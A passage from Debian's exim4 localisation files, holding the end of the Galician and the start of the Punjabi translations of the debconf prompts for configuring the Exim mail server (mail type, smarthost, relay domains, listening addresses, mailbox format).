correo local" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "só entregas locais; non está nunha rede" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "non configurar neste momento" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Tipo xeral de configuración do correo:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Escolla o tipo de configuración do servidor de correo que máis se axuste ás " "súas necesidades." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Os sistemas con enderezos IP dinámicos, incluíndo os que usan módems, " "normalmente deberían configurarse para que envíen o seu correo saínte a " "outra máquina para que esta o entregue, porque moitos sistemas receptores de " "correo en Internet bloquean, para se protexer do spam, o correo que chega de " "enderezos IP dinámicos." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Un sistema cun enderezo IP dinámico pode recibir o seu propio correo, ou " "pode desactivarse por completo a entrega local (agás o correo de root e " "postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "¿Quere deixar o sistema de correo sen configurar?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Ata que configure o sistema de correo, este non ha poder funcionar. Pode " "configuralo máis adiante á man ou executando \"dpkg-reconfigure exim4-config" "\" coma administrador." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Nome de correo do sistema:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "O \"nome de correo\" é o nome de dominio que se emprega para completar os " "enderezos de correo que non teñen un nome de dominio." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Este nome tamén se ha empregar noutros programas; debería ser o nome de " "dominio completo (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Por exemplo, se un enderezo de correo no servidor local fose foo@example." "org, o valor correcto para esta opción había ser example.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Este nome non ha aparecer nas liñas From: das mensaxes saíntes se activa a " "rescritura." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Outros destinos para os que se acepta correo:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Introduza unha lista de dominios separados por signos de punto e coma (;) " "para os que esta máquina se debe considerar destinataria final. Estes " "dominios adoitan chamarse \"dominios locais\". O nome local (${fqdn}) e " "\"localhost\" sempre se engaden á lista de aquí." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Por defecto tódolos dominios locais trátanse igual. Se a.exemplo e b.exemplo " "son dominios locais, as mensaxes dirixidas a acc@a.exemplo e acc@b.exemplo " "entréganse ao mesmo destino final. Se quere que os dominios diferentes se " "traten de xeitos diferentes, ha ser necesario editar despois os ficheiros de " "configuración." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Dominios para os que se remite correo:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Introduza unha lista de dominios separados por signos de punto e coma (;) " "para os que este sistema ha remitir correo, por exemplo coma MX de respaldo " "ou pasarela de correo. Isto significa que este sistema ha aceptar correo " "destinado a eses dominios enviado desde calquera sitio de Internet e " "entregalo de acordo coas regras de entrega local." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Non mencione aquí os dominios locais. Pódense empregar comodíns." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Máquinas para as que se remite correo:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Introduza unha lista de rangos de enderezos IP separados por signos de punto " "e coma (;) para os que este sistema ha remitir calquera mensaxe de xeito " "incondicional, funcionando coma servidor de correo." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Debería empregar o formato estándar de enderezo/prefixo (por exemplo, " "194.222.242.0/24 ou 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Se este sistema non debe ser servidor de correo de ningunha outra máquina, " "deixe esta lista baleira." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Nome de dominio visible para os usuarios locais:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Activouse a opción de ocultar o nome de correo local no correo saínte. Polo " "tanto, é necesario especificar o nome de dominio que este sistema debe " "empregar na parte de dominio dos enderezos de envío dos usuarios locais." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Enderezo IP ou nome do servidor de correo saínte:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Introduza o enderezo IP ou o nome do servidor de correo que ten que empregar " "este sistema. Se o servidor só acepta correo nun porto distinto de TCP/25, " "engada dous signos de dous puntos (::) e o número de porto (por exemplo, " "servidor.exemplo::587 ou 192.168.254.254::2525). Tamén hai que duplicar os " "signos de dous puntos dos enderezos IPv6." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Se o servidor de correo saínte precisa de autenticación, consulte os " "ficheiros README específicos de Debian no directorio /usr/share/doc/exim4-" "base para ver notas sobre a configuración da autenticación SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Destinatario do correo do administrador e postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "O correo para \"postmaster\", \"root\" e outras contas do sistema ten que se " "redirixir á conta de usuario real do administrador do sistema." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Se este valor se deixa baleiro, ese correo hase gravar en /var/mail/mail, o " "que non se recomenda." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Teña en conta que o correo do postmaster debería lerse no sistema ao que se " "dirixe, no canto de o redirixir a outro sitio, así que (alomenos un de) os " "usuarios que escolla non deberían redirixir o seu correo fóra desta máquina. " "Pode empregar o prefixo \"real-\" para forzar a entrega local." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Se indica varios nomes de usuario, sepáreos con espazos." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Enderezo IP no que esperar as conexións SMTP entrantes:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Introduza unha lista de enderezos IP separados por signos de punto e coma " "(;). O servizo de escoita por SMTP de Exim ha escoitar en tódolos enderezos " "IP desta lista." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Se deixa este valor en branco, Exim ha esperar conexións en tódolas " "interfaces de rede dispoñibles." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Se este sistema só recibe mail directamente de servizos locais (e non " "doutros servidores), aconséllase que prohiba as conexións externas ao " "servizo Exim local. Estes servizos inclúen programas de email (MUAs) que só " "se conectan a localhost, así coma fetchmail. Non son posibles as conexións " "externas ao introducir 127.0.0.1 aquí, xa que iso desactiva a escoita en " "interfaces de rede públicas." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "¿Minimizar o número de consultas DNS?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "No modo normal de funcionamento, Exim fai consultas DNS no inicio e cando " "recibe ou envía mensaxes. Isto faise para fins de rexistro e permite " "minimizar o número de valores incrustados na configuración." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Se este sistema non ten un servizo de resolución DNS completo dispoñible en " "todo momento (por exemplo, se para se conectar a Internet emprega un módem " "con chamada baixo demanda), isto pode ter consecuencias non desexadas. Por " "exemplo, iniciar Exim ou procesar a cola (incluso sen mensaxes agardando) " "podería causar unha chamada telefónica custosa." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Esta opción deberíase seleccionar se este sistema emprega chamada baixo " "demanda. Se ten acceso contínuo a Internet debería desactivarse esta opción." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Configuración do servidor de correo" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "¿Partir a configuración en ficheiros pequenos?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Os paquetes de Exim4 de Debian poden empregar \"configuración contínua\", un " "só ficheiro monolítico (/etc/exim4/exim4.conf.template) ou \"configuración " "partida\", na que os ficheiros de configuración de Exim se constrúen a " "partires duns 50 ficheiros pequenos armacenados en /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "A configuración contínua axéitase máis a modificacións grandes e adoita ser " "máis estable, mentres que a configuración partida ofrece un xeito cómodo de " "facer pequenas modificacións pero é máis fráxil e podería romper se se " "modifica sen coidado." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Hai unha discusión máis detallada sobre a configuración partida e contínua " "nos ficheiros README específicos de Debian de /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "¿Agochar o nome local no correo de saída?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Pódense rescribir as cabeceiras do correo de saída para que pareza que se " "xerou nun sistema diferente. Se se selecciona esta opción hanse rescribir " "\"${mailname}\", \"localhost\" e \"${dc_other_hostnames}\" nas cabeceiras " "From, Reply-To, Sender e Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "Formato mbox en /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Formato Maildir no directorio do usuario" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Método de entrega para o correo local:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim pode armacenar o correo que se entrega localmente en varios formatos. " "Os máis habituais son mbox e Maildir. Mbox emprega un só ficheiro para todo " "o cartafol de correo armacenado en /var/mail/. Co formato Maildir, cada " "mensaxe grávase nun ficheiro separado en ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Teña en conta que a maioría das ferramentas de correo de Debian esperan que " "o método de entrega local sexa mbox por defecto." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "¿Mover as mensaxes sen enviar de exim 3 ao directorio de traballo de " #~ "exim4?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Hai mensaxes sen enviar no directorio de traballo de exim 3 (ou exim-tls " #~ "3), /var/spool/exim/input/." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Se escolle esta opción hanse mover estas mensaxes ao directorio de " #~ "traballo de exim4 (/var/spool/exim4/input/), no que exim4 as ha xestionar." #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Isto só funciona nun sentido: Exim4 pode xestionar o directorio de " #~ "traballo de exim 3 pero non ao revés. Se rexeita esta opción, terá que " #~ "mover as mensaxes vostede mesmo ou non se han entregar nunca." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Se deixa esta lista baleira Exim non ha facer entregas locais." #~ msgid "" #~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-" #~ "versa." #~ msgstr "" #~ "Isto só funciona nun sentido: exim4 pode xestionar o directorio de " #~ "traballo de exim(v3) pero non ao revés." #~ msgid "" #~ "So it is only advisable to move the messages only if it is not planned to " #~ "go back to Exim(v3). If a rollback might be necessary, it is a better " #~ "idea to refrain from moving the messages now but moving them manually at " #~ "a later time." #~ msgstr "" #~ "Polo tanto, só é aconsellable mover as mensaxes se non planea voltar a " #~ "Exim(v3). Se é posible que sexa necesario voltar, é mellor idea que non " #~ "mova agora as mensaxes senón movelas despois." #~ msgid "" #~ "Domains listed here need to be separated by semicolons. Wildcards may be " #~ "used." #~ msgstr "" #~ "Os dominios desta lista teñen que ir separados por signos de punto e coma " #~ "(;). Pódense empregar comodíns." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Mova as mensaxes só se non pensa voltar a exim(v3); noutro caso, non " #~ "debería movelas agora senón despois a man cando teña convertida a " #~ "configuración." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Estes dominios son dominios para os que pode aceptar correo dende " #~ "calquera lugar de Internet. Non mencione aquí os dominios locais." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Xa que activou a ocultación do nome de correo local no correo saínte, " #~ "debe especificar o nome de dominio para o correo procedente dos usuarios " #~ "locais; adoita ser o da máquina no que normalmente recibe o correo." #~ msgid "Where will your users read their mail?" #~ msgstr "¿Onde han ler o correo os seus usuarios?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "Máquina que xestiona o correo saínte desta máquina (smarthost):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "Introduza o nome da máquina ao que se envía o correo saínte." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Active esta característica se emprega marcación baixo demanda; se non, " #~ "desactíveo." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "Se non está seguro non debería empregar unha configuración partida." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "convertir manualmente dende unha configuración manual de Exim v3" #~ msgid "Configure Exim4 manually?" #~ msgstr "¿Configurar Exim4 a man?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Indicou que ten unha configuración manual de Exim 3. Para convertila a " #~ "Exim 4 pode empregar a ferramenta exim_convert4r4(8) trala instalación. " #~ "Consulte os ficheiros /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "e /usr/share/doc/exim4-base/README.Debian.gz ." #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "Ata que configure o seu sistema de correo, non ha poder funcionar." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "O seu \"nome de correo\" é a parte correspondente ao nome do servidor no " #~ "enderezo que aparece nas mensaxes saíntes de news e correo (a parte que " #~ "hai á dereita da arroba), a menos que se agoche mediante rescritura." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Introduza aquí as redes das máquinas locais para as que acepta remitir o " #~ "correo." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Debería incluír unha lista con tódalas máquinas que han empregar este " #~ "servidor coma \"smart host\"." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Ten que poñer signos de dous puntos dobres (::) nos enderezos IPv6 (por " #~ "exemplo, 5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Introduza unha lista de enderezos IP separados por signos de dous puntos " #~ "(:). Ten que dobrar os signos (::) nos enderezos IPv6 (por exemplo, " #~ "5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "A configurar Exim v4 (exim4-config)" debian/po/pa.po0000644000000000000000000010074112027557533010560 0ustar # translation of pa.po_[m1QbWa].po to Punjabi # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans# # Developers do not need to manually edit POT or PO files. # # Amanpreet Singh Alam[ਆਲਮ] , 2005. # A S Alam , 2006. # A S Alam , 2007. msgid "" msgstr "" "Project-Id-Version: pa.po_[m1QbWa]\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-18 08:59+0530\n" "Last-Translator: A S Alam \n" "Language-Team: Punjabi \n" "Language: pa\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "ਕੀ spool ਡਾਇਰੈਕਟਰੀ ਵਿੱਚੋਂ ਨਾ-ਭੇਜੇ ਪੱਤਰ ਹਟਾਉਣੇ ਹਨ?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Exim ਸਪੂਲ ਡਾਇਰੈਕਟਰੀ /var/spool/exim4/input ਵਿੱਚ ਪੱਤਰ ਹਨ, ਜੋ ਕਿ ਅਜੇ ਤੱਕ ਭੇਜੇ ਨਹੀਂ ਗਏ " "ਹਨ। Exim ਨੂੰ ਹਟਾਉਣ ਨਾਲ ਉਹ ਬਿਨ-ਭੇਜੇ ਹੀ ਪਏ ਰਹਿਣਗੇ, ਜਦੋਂ ਤੱਕ ਕਿ Exim ਨੂੰ ਮੁੜ ਇੰਸਟਾਲ ਨਹੀਂ " "ਕੀਤਾ ਜਾਂਦਾ ਹੈ।" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "ਜੇ ਇਹ ਚੋਣ ਨਾ ਕੀਤੀ ਗਈ ਤਾਂ, spool ਡਾਇਰੈਕਟਰੀ ਰੱਖੀ ਜਾਵੇਗੀ, Exim ਦੇ ਮੁੜ-ਇੰਸਟਾਲ ਹੋਣ ਬਾਅਦ ਕਿਸੇ " "ਵੀ ਮਿਤੀ ਵਿੱਚ ਪੱਤਰ ਭੇਜਣ ਲਈ ਕਤਾਰ 'ਚ ਸੁਨੇਹੇ ਰੱਖੇ ਜਾਣਗੇ।" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "ਇਹ ਪੈਕੇਜ ਦੀ ਬਜਾਏ exim4-config ਮੁੜ-ਸੰਰਚਨਾ" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 ਦੀ ਸੰਰਚਨਾ ਨੂੰ ਇੱਕ ਸਮਰਪਿਤ ਪੈਕੇਜ ਵਿੱਚ ਵੰਡਿਆ ਗਿਆ ਹੈ, exim4-config। ਜੇ ਤੁਸੀਂ Exim4 ਦੀ " "ਮੁੜ ਸੰਰਚਨਾ ਕਰਨੀ ਚਾਹੁੰਦੇ ਹੋ ਤਾਂ 'dpkg-reconfigure exim4-config' ਵਰਤੋਂ।" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "ਇੰਟਰਨੈੱਟ ਸਾਇਟ; ਪੱਤਰ SMTP ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਸਿੱਧ ਭੇਜੇ ਅਤੇ ਪ੍ਰਾਪਤ ਕੀਤੇ ਜਾਣਗੇ" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "ਮੇਲ ਨੂੰ smarthost ਰਾਹੀਂ ਭੇਜਿਆ; ਪ੍ਰਾਪਤ SMTP ਜਾਂ fetchamail ਰਾਹੀਂ ਕੀਤਾ ਜਾਵੇਗਾ" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "smarthost ਰਾਹੀਂ ਪੱਤਰ ਭੇਜਿਆ; ਕੋਈ ਲੋਕਲ ਮੇਲ ਨਹੀਂ" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "ਸਿਰਫ਼ ਲੋਕਲ ਡਿਲਵਰੀ; ਨੈੱਟਵਰਕ ਨਹੀਂ" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "ਇਸ ਸਮੇਂ ਕੋਈ ਸੰਰਚਨਾ ਨਹੀਂ" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "ਪੱਤਰ ਸੰਰਚਨਾ ਲਈ ਸਧਾਰਨ ਕਿਸਮ" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "ਮੇਲ ਸਰਵਰ ਕਿਸਮ ਦੀ ਚੋਣ ਕਰੋ; ਜੋ ਤੁਹਾਡੀ ਲੋੜ ਮੁਤਾਬਕ ਹੈ।" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "ਸਫ਼ਰੀ IP ਸਿਰਨਾਵਿਆਂ ਵਾਲੇ ਸਿਸਟਮਾਂ, ਜਿੰਨਾਂ ਵਿੱਚ ਡਾਇਲਅੱਪ ਸਿਸਟਮ ਹਨ, ਨੂੰ ਇੱਕ ਸਿਸਟਮ ਤੋਂ ਦੂਜੇ ਸਿਸਟਮ " "ਤੱਕ ਪੱਤਰ ਭੇਜਣ ਲਈ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ, ਜਿਸ ਨੂੰ ਡਿਲਵਰੀ ਲਈ 'smart host)' ਕਹਿੰਦੇ ਹਨ, ਕਿਉਂਕਿ ਸਪਮ " "ਸੁਰੱਖਿਆ ਲਲਈ ਡੈਨਮਿਕ IP ਸਿਰਨਾਵਾਂ ਤੋਂ ਆਉਣ ਵਾਲੇ ਪੱਤਰਾਂ ਨੂੰ ਲੈਣ ਵਾਲੇ ਕਈ ਸਿਸਟਮ ਇੰਟਰਨੈੱਟ ਉੱਤੇ ਪਾਬੰਦੀ " "ਅਧੀਨ ਆ ਜਾਂਦੇ ਹਨ।" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "ਇੱਕ ਡਾਇਅਨਾਮਿਕ IP ਸਿਰਨਾਂ ਵਾਲਾ ਇੱਕ ਸਿਸਟਮ ਆਪਣੇ ਮੇਲ 